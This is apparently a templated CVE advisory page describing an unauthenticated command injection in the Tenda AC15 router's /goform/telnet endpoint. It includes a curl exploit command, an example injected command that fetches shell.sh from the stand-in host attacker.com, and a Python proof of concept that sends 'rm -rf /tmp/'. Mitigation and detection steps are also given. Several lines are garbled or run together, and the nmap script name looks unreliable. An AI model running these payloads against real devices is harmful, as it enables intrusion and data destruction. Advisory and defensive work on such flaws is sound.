How CVE-2025-25632 Works
The vulnerability in Tenda AC15 router firmware v15.03.05.19 allows remote attackers to execute arbitrary commands via the `/goform/telnet` endpoint. The `handler` function improperly sanitizes user-supplied input, enabling command injection. An attacker can craft a malicious HTTP request containing OS commands in the `telnet` parameter, which are then executed with root privileges. This occurs due to insufficient input validation when enabling/disabling the telnet service. The lack of authentication checks further escalates the risk, allowing unauthenticated attackers to exploit this flaw.
DailyCVE Form
Platform: Tenda AC15
Version: v15.03.05.19
Vulnerability: Command Injection
Severity: Critical
Date: 04/10/2025
What Undercode Say:
Exploitation:
curl -X POST "http://<TARGET_IP>/goform/telnet" -d "telnet=enable; <malicious_command>"
Replace `reboot, wget http://attacker.com/shell.sh -O /tmp/shell.sh).
Detection:
nmap -p 80 --script http-vuln-cve2025-25632 <TARGET_IP>
Mitigation:
- Patch: Upgrade to Tenda AC15 firmware v15.03.05.21 or later.
- Workaround: Block unauthorized access to `/goform/telnet` via firewall rules:
iptables -A INPUT -p tcp --dport 80 -m string --string "/goform/telnet" --algo bm -j DROP
PoC Code (Python):
import requests
target = "http://192.168.1.1"
payload = "telnet=enable; rm -rf /tmp/"
requests.post(f"{target}/goform/telnet", data=payload)
Log Analysis:
Check router logs for suspicious POST requests to /goform/telnet:
grep -i "goform/telnet" /var/log/router.log
Firmware Analysis:
Extract firmware to verify patch:
binwalk -Me firmware.bin grep -r "telnet" ./_firmware.bin.extracted/
References:
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25632
Extra Source Hub:
Undercode
